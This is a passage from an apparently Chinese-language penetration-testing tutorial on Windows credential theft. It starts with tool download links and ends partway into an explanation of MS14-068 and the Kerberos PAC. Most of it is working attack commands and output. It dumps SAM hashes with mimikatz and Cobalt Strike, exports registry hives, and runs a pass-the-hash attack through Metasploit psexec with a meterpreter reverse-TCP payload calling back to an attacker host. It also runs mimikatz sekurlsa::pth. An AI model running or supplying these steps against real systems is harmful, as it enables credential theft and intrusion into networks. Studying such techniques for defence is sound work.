Procdump:https://docs.microsoft.com/zh-cn/sysinternals/downloads/procdump
mimikatz:https://github.com/gentilkiwi/mimikatz/releases
5.使用cobalt strike 获取hash
beacon>hashdump
beacon>mimikatz mimikatz指令
6.利用sam表
mimikatz在线读sam表中的hash
privilege::debug
token::elevate
lsadump::sam
将sam表下载到本地由mimikatz分析
reg save HKLM\SYSTEM system
reg save HKLM\SAM SAM
在远端shell使用以上命令导出SYSTEM 和 SAM文件,并将其待会本地,由mimikatz分析
mimikatz运行
mimikatz # lsadump::sam /sam:SAM /system:SYSTEM
Domain : STU1
SysKey : fd4639f4e27c79683ae9fee56b44393f
Local SID : S-1-5-21-1982601180-2087634876-2293013296
SAMKey : 099d1915db1b0e5cf41f1f0908dc7e17
RID : 000001f4 (500)
User : Administrator
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
RID : 000001f5 (501)
User : Guest
RID : 000003e8 (1000)
User : liukaifeng01
Hash NTLM: 31d6cfe0d16ae931b73c59d7e0c089c0
hash 传递攻击 PTH (Pass the Hash)
1.msf里使用psexec模块
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec //以root启动msf
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf5 exploit(windows/smb/psexec) > set lhsot 192.168.64.133
lhsot => 192.168.64.133
msf5 exploit(windows/smb/psexec) > set lhost 192.168.64.133
lhost => 192.168.64.133
msf5 exploit(windows/smb/psexec) > set lport 443
lport => 443
msf5 exploit(windows/smb/psexec) > set rhost 192.168.52.138
rhost => 192.168.52.138
msf5 exploit(windows/smb/psexec) > set SMBUser Administrator
SMBUser => Administrator
msf5 exploit(windows/smb/psexec) > set SMBPass 8a963371a63944419ec1adf687bb1be5 //一般选择NTLM HASH
SMBPass => 8a963371a63944419ec1adf687bb1be5
msf5 exploit(windows/smb/psexec) > run
2.使用mimikatz
我们在目标机里放置mimikatz.exe 然后执行以下命令
sekurlsa::pth /user:administrator /domain:"xxx.com" /ntlm:6542d35ed5ff6ae5e75b875068c5d3bc //自行修改
之后便会弹出一个cmd窗口,在这个窗口里链接机器即可
net use \\192.168.222.131\c$
在cobalt strike里找到域控,然后使用psexec模块,选择一个本地hash即可。
MS14-068这个洞的危害很大,可以让任意域用户提权到域管。
适用版本: server 2000以上
补丁: kb3011780
PAC是kerberos协议里用来解决用户权限功能所设计出的东西。
在kerberos协议里面,一个用户用自己的hash拿到了TGT,接着凭借着TGT拿到了TGS,接着用TGS去访问服务。看似只要hash正确,用户就能到处访问服务,但是所有服务都可以给这个用户所访问吗?肯定是不行的,所以微软在kerberos为了实现用户权限分级,采用了PAC。
PAC被设计为存在于TGT里面。完整的kerberos权限验证流程如下。
1。用户凭借自己的hash加密时间戳并发送明文用户名到KDC,KDC认证用户成功后返回被krbtgt用户hash加密的TGT(内有ticekt包含着PAC),以及用户自身hash加密的login session key
2.用户凭借TGT票据向KDC发起指定服务的TGS_REQ。KDC用krbtgt hash解密,若解密成功则直接返回服务hash加密的TGS(这里并没考虑用户的权限,直接返回了TGS)
3.用户用TGS向服务发起请求,服务用自己的hash解密TGS后获得PAC,拿着PAC向KDC询问该用户是否有权限访问。KDC拿到PAC后再次解密,得到了PAC里的 用户的sid,以及所在的组,再判断用户是否有访问服务的权限(有些服务不会验证KDC,这样就会导致白银票据攻击)
PAC自身的结构
PAC在Ticket中的结构